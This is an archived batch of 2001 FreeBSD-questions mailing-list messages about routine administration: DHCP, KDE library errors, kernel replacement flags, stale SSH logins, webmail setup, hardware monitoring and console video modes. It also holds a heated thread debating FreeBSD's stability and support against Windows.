Nov 2001 19:07:45 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 19:07:45.0808 (UTC) FILETIME=[CDAD2100:01C172BF] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Hello mem/sir, Hi >My ISP assignes the ip-addresses dynamically. >Is it possible to get this working under freebsd? No problem. >Instead of using a static ip address? DHCP. See also rc.conf, pppd, ppp. >with kind regards, >Peter Harmsen Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:16:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from c000.snv.cp.net (c000-h002.c000.snv.cp.net [209.228.32.66]) by hub.freebsd.org (Postfix) with SMTP id 5691D37B405 for ; Wed, 21 Nov 2001 11:16:29 -0800 (PST) Received: (cpmta 4494 invoked from network); 21 Nov 2001 11:16:28 -0800 Received: from 24.0.234.208 (HELO trittico.fiddi.com) by smtp.runkle.com (209.228.32.66) with SMTP; 21 Nov 2001 11:16:28 -0800 X-Sent: 21 Nov 2001 19:16:28 GMT Date: Wed, 21 Nov 2001 11:16:28 -0800 (PST) From: Dave Runkle X-X-Sender: dave@trittico.fiddi.com To: "Heddles, FLGOFF Chris" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: sec: unclassified - QT2 / KDE2 problem on 4.4 release In-Reply-To: <81E70F798E8BD511AC2F0002A5749710063822@WAGEX001> Message-ID: <20011121111346.N467-100000@trittico.fiddi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I had the same thing happen to me. If you do a locate, it's probably on your hard drive somewhere - just copy it into the correct spot and you'll be up and running again. If for some reason it is *not* on your drive (I happened to have another machine to get it from), you can pick it up from the website in the cvs repository. Dave -- FreeBSD 5.0-CURRENT 11:13AM up 4 days, 7:29, 9 users, load averages: 0.28, 0.30, 0.38 On Wed, 21 Nov 2001, Heddles, FLGOFF Chris wrote: > I did have QT2.3.1 installed (presumably as a dependency by KDE) > I uninstalled and reinstalled it from the CD using "pkg_add" and > it worked > > thanks > > > On Monday 19 November 2001 14:39 pm, Heddles, FLGOFF Chris wrote: > > > Attempting to manually launch KDE from within X gives the following error > > message: > > > > $ startkde > > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > > connect() failed: : No such file or directory > > $ > > In the directory /var/db/pkg, is there a directory called qt-[something]? > > This output suggests that the QT toolkit (which KDE depends upon) either > wasn't installed, or isn't known to the dynamic linker. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:17:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mobil.cz (diana.mobil.cz [195.39.16.12]) by hub.freebsd.org (Postfix) with ESMTP id 73C2437B41E for ; Wed, 21 Nov 2001 11:16:52 -0800 (PST) Received: from ester.mobil.cz (ester.mobil.cz [194.213.62.23]) by mobil.cz (8.11.6/8.11.0) with ESMTP id fALJGng18587 for ; Wed, 21 Nov 2001 20:16:50 +0100 Received: from roman.mobil.cz ([10.2.0.89]) by ester.mobil.cz (Lotus Domino Release 5.0.7) with ESMTP id 2001112119570035:98 ; Wed, 21 Nov 2001 19:57:00 +0100 Received: (from roman@localhost) by roman.mobil.cz (8.11.6/8.11.6) id fALJ75894989 for questions@FreeBSD.ORG; Wed, 21 Nov 2001 20:07:05 +0100 (CET) (envelope-from neuhauser@mobil.cz) X-Authentication-Warning: roman.mobil.cz: roman set sender to neuhauser@mobil.cz using -f Date: Wed, 21 Nov 2001 20:07:05 +0100 From: Roman Neuhauser To: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121200705.B26507@roman.mobil.cz> Mail-Followup-To: questions@FreeBSD.ORG References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> Mime-Version: 1.0 In-Reply-To: <009a01c171a9$4eedbee0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i X-MIMETrack: Itemize by SMTP Server on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/21/2001 07:57:00 PM, Serialize by Router on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/21/2001 08:12:42 PM, Serialize complete at 11/21/2001 08:12:42 PM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: "Anthony Atkielski" > To: "Steve Brown" , "Chip" > Cc: > Subject: Re: home pc use > Date: Tue, 20 Nov 2001 10:54:05 +0100 > > Steve writes: > > > If you're tired of Windows crashing you sure can! > > The KDE environment under FreeBSD stalled or crashed on me nearly half a dozen > times in one day. That's about as many crashes as I've experienced in two years > on Windows NT, and all of the Windows NT crashes were due to bad drivers. > > Unless he intends to run FreeBSD in its native, command-line mode, he should not > expect an increase in stability over Microsoft Windows, and he may experience > the opposite. Last time I saw KDE it was 1.2 (or something like that) on SuSE-6.4. I have never seen it crash, but I didn't use it much either. After trying out a couple of different window managers, I've settled with blackbox. It's visually appealing (though you'd probably call the look I use boring), small, fast, rock-stable. And you know what, I think you would love it: it doesn't have any keyboard shortcuts by default. You have to click through. It also has a graphical configurator. and it takes half the space on the screen that windows, windowmaker, KDE or Gnome use. Erm, back to the topic. I was thinking about replacing windows on my computers for some time, and when it finally happened, I was surprised by how little I miss windows: I don't miss it at all. Mind you, I didn't have powerpoint installed, so all emails I received that had PP attachments went to trash (with an optional flame to the originators), I never bothered reading .doc or .xls attachments either. I rather bothered requesting the originators of such mails to resend such emails with those attachments converted to plain text. I think I might've been a rather strange windows user... As you may notice from my .sig, this box has been last rebooted 29 days ago. The power went out, and I didn't know how long the UPS would stand. All that is unstable among the software I use is netscape-4.78 (no good on windows either), the linux opera, and... that's it. one of the netscape processes occasionaly goes astray, eating memory. I kill -9 it, start netscape again, and am done with it. can you do the same on a windows box? yeah, NT5 is much better than previous versions... Today was the first day in two months I touched an NT5 box: needed to debug a JS problem in IE. Other than that, I don't need windows for anything I do with a computer. So please, do accept that there are people who can use a unix without ever thinking of windows. There are people who _don't_ need windows to use their computer as a personal computer. Unix is not server-only, as you seem to suggest. It does require your attention, however, something unheard of in the windows world. -- FreeBSD 4.4-STABLE 7:35PM up 29 days, 6:18, 2 users, load averages: 0.01, 0.05, 0.04 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:23:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 7810737B419 for ; Wed, 21 Nov 2001 11:23:28 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fALJNPo49947; Wed, 21 Nov 2001 13:23:25 -0600 (CST) (envelope-from dan) Date: Wed, 21 Nov 2001 13:23:25 -0600 From: Dan Nelson To: Lord Raiden Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Novell and BSD Message-ID: <20011121192324.GD29041@dan.emsphone.com> References: <4.2.0.58.20011121130120.00979aa0@pop.netzero.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4.2.0.58.20011121130120.00979aa0@pop.netzero.net> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 21), Lord Raiden said: > Silly question, I know this doesn't apply to me since we don't > use Novell, but how well does BSD work with Novell and how easy > is it to setup? I'm just deathly curious. Thanks. A Netware client comes with the base FreeBSD install (man mount_nwfs), so you can access files on the Netware server just fine. You can also purchase the Native File Access pack for Netware, which turns a Netware box into an NFS server for Unix clients that don't have Netware client software. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:25:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whoweb.com (whoweb.com [208.146.132.20]) by hub.freebsd.org (Postfix) with ESMTP id 563C337B416 for ; Wed, 21 Nov 2001 11:25:54 -0800 (PST) Received: (from mailist@localhost) by whoweb.com (8.8.8/8.8.6) id OAA08267 for questions@freebsd.org; Wed, 21 Nov 2001 14:25:46 -0500 (EST) Date: Wed, 21 Nov 2001 14:25:46 -0500 (EST) From: Incoming Mail List Message-Id: <200111211925.OAA08267@whoweb.com> To: questions@freebsd.org Subject: Re: copying kernel Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I found the answer to unlocking the permissions of /kernel so it can be replaced with another at http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig-trouble.html#KERNELCONFIG-NOBOOT The command "chflags noschg /kernel" does it. Jon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:26:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mobil.cz (diana.mobil.cz [195.39.16.12]) by hub.freebsd.org (Postfix) with ESMTP id 960A837B405 for ; Wed, 21 Nov 2001 11:26:30 -0800 (PST) Received: from ester.mobil.cz (ester.mobil.cz [194.213.62.23]) by mobil.cz (8.11.6/8.11.0) with ESMTP id fALJQTg19435 for ; Wed, 21 Nov 2001 20:26:29 +0100 Received: from roman.mobil.cz ([10.2.0.89]) by ester.mobil.cz (Lotus Domino Release 5.0.7) with ESMTP id 2001112120221542:108 ; Wed, 21 Nov 2001 20:22:15 +0100 Received: (from roman@localhost) by roman.mobil.cz (8.11.6/8.11.6) id fALJWMV95183 for questions@FreeBSD.ORG; Wed, 21 Nov 2001 20:32:22 +0100 (CET) (envelope-from neuhauser@mobil.cz) X-Authentication-Warning: roman.mobil.cz: roman set sender to neuhauser@mobil.cz using -f Date: Wed, 21 Nov 2001 20:32:22 +0100 From: Roman Neuhauser To: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121203222.C26507@roman.mobil.cz> Mail-Followup-To: questions@FreeBSD.ORG References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> Mime-Version: 1.0 In-Reply-To: <001f01c171cf$430e8ac0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i X-MIMETrack: Itemize by SMTP Server on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/21/2001 08:22:15 PM, Serialize by Router on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/21/2001 08:22:21 PM, Serialize complete at 11/21/2001 08:22:21 PM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: "Anthony Atkielski" > To: "setantae" > Cc: > Subject: Re: home pc use > Date: Tue, 20 Nov 2001 15:25:37 +0100 > > Ceri writes: > > All of these are things that one could expect > > from someone with only 3 weeks experience of an > > OS, but I honestly think that you would benefit > > from doing some background reading. > > Thank you for your suggestion. > > I was hoping that you might offer more information on FreeBSD, instead of your > armchair evaluation of my competence in IT. If all responses to my questions > and comments were similar, I should indeed be restricted to reading elsewhere to > obtain the information I require. This illustrates to some extent my comments > about support being difficult to get for FreeBSD (and other open-source > products). > > If you seriously wish to use FreeBSD in a > > production environment, then it's even more > > important that you familiarise yourself with > > the system : how to upgrade it, how to install > > new software, how to get the sources, how it is > > different from other systems, how it is similar > > to other systems. You don't seem prepared to > > do this. > > That's what I'm doing, although I've discovered that this list, at least, is > nearly useless for that purpose. One need only read your own post, and others > like it, and distill the real, useful information they contain, if any, to see > how poorly this list fulfills its nominal role. And the nominal role is? Doing your homework? I think you must be kidding, or drunk. Oh wait, maybe you could sue the people on the list for not installing and configuring your machine for you. "Judge, those lazy bastards told me to _do something on my own_ instead of doing my homework for me. And it didn't get any better when I told them several times that they all sucked along with the system I hadn't paid a nickle for!" I haven't seen a flamebait as arrogant as the yours one... never. You've just made it to my maildroprc. -- FreeBSD 4.4-STABLE 8:22PM up 29 days, 7:05, 3 users, load averages: 0.02, 0.04, 0.00 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:31:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hawk-systems.com (hawk-systems.com [161.58.152.235]) by hub.freebsd.org (Postfix) with ESMTP id 2F4E737B416 for ; Wed, 21 Nov 2001 11:31:55 -0800 (PST) Received: from cr159591a (cr159591-a.pr1.on.wave.home.com [24.102.18.54]) by hawk-systems.com (8.11.6) id fALJVph96708 for ; Wed, 21 Nov 2001 12:31:51 -0700 (MST) From: "Dave VanAuken" To: Subject: determine user home directory from non-priv user Date: Wed, 21 Nov 2001 14:34:15 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG from a non-priv account we need to determine the home directory of a user... used for interaction with web server. Obviously pw is out of the question because we do not wish to give priv to the web server (despite it being an enclosed system)... any other system base alternatives? For example, need to find out what user "Joe"'s home dir is... we would execute our program ("finduserdir" in this example) in the following manner to get the desired results: server# finduserdir Joe /usr/home/Joe server# Again, we need to do this from the webserver or other non-priv userid. Appreciate any comments. Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:36:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cody.jharris.com (cody.jharris.com [205.238.128.83]) by hub.freebsd.org (Postfix) with ESMTP id 7B39137B417 for ; Wed, 21 Nov 2001 11:36:27 -0800 (PST) Received: from localhost (nick@localhost) by cody.jharris.com (8.11.1/8.9.3) with ESMTP id fALJaNW50522; Wed, 21 Nov 2001 13:36:25 -0600 (CST) (envelope-from nick@rogness.net) Date: Wed, 21 Nov 2001 13:36:23 -0600 (CST) From: Nick Rogness X-Sender: nick@cody.jharris.com To: Sheldon Hearn Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Diagrams on natd? In-Reply-To: <906.1006365980@axl.seasidesoftware.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Sheldon Hearn wrote: > > > On Wed, 21 Nov 2001 11:17:26 CST, Nick Rogness wrote: > > > I made an animated gif that steps through the nat process: > > > > http://freebsd.rogness.net/redirect.cgi?basic/nat.html > > Nice idea! > > Thing is, I'm trying to get a better understanding of how natd interacts > with IPFW. There's a LOT more going on than what's shown in your > diagram. That's because it's not finished yet ;-P > > Don't get me wrong, your web page looks like it would be helpful to > lots of people -- it just doesn't go deep enough for me. > > Ruslan Ermilov suggested I pay closer attention to the divert(4) web > page. I'll take a look again... As usual he is correct. Nick Rogness - Keep on Routing in a Free World... "FreeBSD: The Power to Serve!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:41:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mx0.ecxnetwork.net (mx0.ecxnetwork.net [208.144.33.2]) by hub.freebsd.org (Postfix) with ESMTP id CEAA437B621 for ; Wed, 21 Nov 2001 11:40:26 -0800 (PST) Received: from mailsvr.ecx.com ([208.144.33.135]) by mx0.ecxnetwork.net (8.11.3/8.11.3) with ESMTP id fALJG3p08807; Wed, 21 Nov 2001 11:16:03 -0800 (PST) (envelope-from JHilgeman@ecx.com) Received: by mailsvr.ecx.com with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Nov 2001 11:38:47 -0800 Message-ID: <5D90F61EB6FDD411836500508B137F1AA3F06E@mailsvr.ecx.com> From: Jonathan Hilgeman To: "'Daniel Frazier'" Cc: "'freebsd-questions@freebsd.org'" Subject: RE: Log Out Other Users Date: Wed, 21 Nov 2001 11:38:43 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hmmm, I installed slay, but I still have a user in "who" that has no processes whatsoever. The "who" list doesn't seem to be stuck, either. If I log out, I can see that it has updated the "who" list. I don't really want to go to shutdown -k - that seems a bit desperate and this is a production box. - Jonathan -----Original Message----- From: Daniel Frazier [mailto:dfrazier@magpage.com] Sent: Wednesday, November 21, 2001 10:35 AM To: Jonathan Hilgeman Cc: 'freebsd-questions@freebsd.org' Subject: Re: Log Out Other Users Jonathan Hilgeman wrote: > When I type "who" I get a list of about 4 users who are logged in via SSH. I > know some of them are old sessions that just timed out or something, so I > find the PIDs of the SSH processes, and kill those PIDs. However, sometimes > this doesn't do the trick. They disappear entirely from the process list, > but they continue to show up when I type who. Is there a better way to kill > users? > > - Jonathan > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > "shutdown -k" might do the trick, although this will result in all logins (except root) being disabled. "rm /var/run/nologin" will fix that. You also might want to look at /usr/ports/sysutils/slay. This will kick off a user and terminate any of that users' processes. I think it will only work on one user at a time, though... -- ---------------------------------------------------------------------- Daniel Frazier Tel: 302-239-5900 Ext. 231 Systems Administrator Fax: 302-239-3909 MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Benjamin Franklin, Historical Review of Pennsylvania, 1759. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:42:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blacklamb.mykitchentable.net (ekgr-dsl3-t211.citlink.net [207.173.248.211]) by hub.freebsd.org (Postfix) with ESMTP id A7E8B37B50D for ; Wed, 21 Nov 2001 11:42:09 -0800 (PST) Received: from tagalong (unknown [165.107.42.150]) by blacklamb.mykitchentable.net (Postfix) with SMTP id 25A20EE5AF; Wed, 21 Nov 2001 11:43:15 -0800 (PST) Message-ID: <004b01c172c4$9a5da770$962a6ba5@lc.ca.gov> From: "Drew Tomlinson" To: "Eric Long" Cc: References: Subject: Re: Sqwebmail Installed - What Now? Date: Wed, 21 Nov 2001 11:42:06 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Eric Long" To: Cc: Sent: Wednesday, November 21, 2001 6:31 AM Subject: Re: Sqwebmail Installed - What Now? > >> I have installed sqwebmail from the ports collection and can > >> successfully get the login page but do not know where to go from here. > >> Searches on Google and the list archives have not produced any help. Can > >> anyone point me to documentation on what I need to do to configure > >> sqwebmail? I can't login using my account and am sure I must do some > >> configuring before it works. I am using the Courier IMAP daemon > >> successfully with an MS Outlook Express client. I want to use > >> sqwebmail instead. > > > > If you insist on sqwebmail, I briefly attempted to use it and couldnt figure > > it out. If you just need some type of webmail, I'd recommend squirrelmail > > (www.squirrelmail.org). It's easy to configure and works with Courier IMAP. > > http://inter7.com/sqwebmail/ > > You need to be running a mailserver with Maildir support, I assume you're > already doing so. Are you running the courier mail server or qmail? I'm successfully using Postfix with the Courier IMAP daemon. > Reading the INSTALL file within the sqwebmail archive will answer just about > all of your questions. There are at least a dozen configuration flags that > you must use in order to get sqwebmail to work properly on your system. I > don't think the default config/install has ever worked for me. I've read that and IIRC, PAM was part of the default install but access via the passwd file (authpwd?) was not. I've tried editing pam.conf but no luck. I don't really understand how PAM works but from what I've read, it's just supposed to work if the right entries are in pam.conf? I guess I need to learn more about PAM. Any suggestions? Thanks for your response. Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:43:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blacklamb.mykitchentable.net (ekgr-dsl3-t211.citlink.net [207.173.248.211]) by hub.freebsd.org (Postfix) with ESMTP id 7F5E337B419 for ; Wed, 21 Nov 2001 11:43:35 -0800 (PST) Received: from tagalong (unknown [165.107.42.150]) by blacklamb.mykitchentable.net (Postfix) with SMTP id E15F6EE5DA; Wed, 21 Nov 2001 11:44:42 -0800 (PST) Message-ID: <005201c172c4$ceb9e3d0$962a6ba5@lc.ca.gov> From: "Drew Tomlinson" To: "Mark Yeck" Cc: References: <001101c17056$872a01a0$0301a8c0@bigdaddy> <3395.208.216.122.72.1006262625.squirrel@y3k.shacknet.nu> Subject: Re: Sqwebmail Installed - What Now? Date: Wed, 21 Nov 2001 11:43:34 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Mark Yeck" To: Cc: Sent: Tuesday, November 20, 2001 5:23 AM Subject: Re: Sqwebmail Installed - What Now? > > I have installed sqwebmail from the ports collection and can > >successfully get the login page but do not know where to go from here. > >Searches on Google and the list archives have not produced any help. Can > >anyone point me to documentation on what I need to do to configure > >sqwebmail? I can't login using my account and am sure I must do some > >configuring before it works. I am using the Courier IMAP daemon > >successfully with an MS Outlook Express client. I want to use > >sqwebmail instead. > > If you insist on sqwebmail, I briefly attempted to use it and couldnt figure > it out. If you just need some type of webmail, I'd recommend squirrelmail > (www.squirrelmail.org). It's easy to configure and works with Courier IMAP. I just wanted a webmail client. I will take a look at squirrelmail as well. Do you know of any special web tutorials beyond the obvious squirrelmail.org? Thanks, Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:43:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156]) by hub.freebsd.org (Postfix) with ESMTP id 6E59137B405 for ; Wed, 21 Nov 2001 11:43:43 -0800 (PST) Received: from sickness (test4.peter.Metro2000.NET [216.177.0.48]) by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id fALJiqx06899 for ; Wed, 21 Nov 2001 14:44:52 -0500 (EST) From: "David Loszewski" To: Subject: healthd help please??? Date: Wed, 21 Nov 2001 14:42:38 -0500 Message-ID: <002c01c172c4$addc58a0$3000b1d8@sickness> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 x-mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Healthd is the only temperature and voltage monitor out there I can find so far for FreeBSD. Could someone tell me what the values stand for because there's isn't any documentation on this program: $ healthdc localhost.ne.mediaone.net 255.0 0.0 0.0 0000 0000 0000 4.08 4.08 4.08 6.85 15.50-14.16 -6.12 also..does anyone know how to make this work with mrtg as well? Dave P.S. If anyone has any suggestions on other temp and voltage monitoring tools please let me know. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:45: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id 3803737B417 for ; Wed, 21 Nov 2001 11:45:02 -0800 (PST) Subject: Re: How do I set vidcontrol modes? To: "Anthony Atkielski" Cc: "FreeBSD Questions" X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Wed, 21 Nov 2001 20:44:57 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 21.11.2001 20:45:02 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Anthony first of all : $> man vidcontrol ;-) and then you can check what modes are available with $> vidcontrol -i mode Choose one appropriate with $> vidcontrol -g 80x43 VESA_800x600 Hope that helps - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 11:47:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 52E0C37B416 for ; Wed, 21 Nov 2001 11:47:09 -0800 (PST) Received: (qmail 95745 invoked by uid 100); 21 Nov 2001 19:47:18 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.1222.239067.221091@guru.mired.org> Date: Wed, 21 Nov 2001 13:47:18 -0600 To: "Anthony Atkielski" Cc: Subject: Re: home pc use In-Reply-To: <005001c17288$c17d0800$0a00000a@atkielski.com> References: <15354.60877.44081.17515@guru.mired.org> <019701c17224$013e6520$0a00000a@atkielski.com> <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> <15355.6508.841314.798412@guru.mired.org> <005001c17288$c17d0800$0a00000a@atkielski.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski types: > Mike writes: > > I've never had a client or manager open-minded > > enough to use free software and stupid enough > > to need that particular comfort blanket. > Or smart enough to understand the importance of support and yet stupid enough to > put mission-critical applications on unsupported freeware. > > The fact is, with all but the most trivial freeware, you need competent in-house > support if you plan to use it for any critical applications. If something > critical crashes, you will not have time to go searching for pro bono support > somewhere on the Net. That depends on how you define "competent in-house support". If you mean someone who knows the insides of the product and is competent to fix it and apply customizations, you're wrong. If you mean someone who knows where the pro bono support is and how to use it, you're right. On the other hand, the same is true for all applications. Anyone who just calls the vendors support line for help with a problem doesn't qualify as "competent in-house support". I've as yet to see a support contract that guarantees a "fix" in some time interval; they all guarantee a "response", which typically means you get to talk to the engineer the first time then. If you're lucky, they'll know a fix. If not, they'll search the inhouse bug databases and get back to you. Even at the highest support levels, this isn't good enough for critical applications. 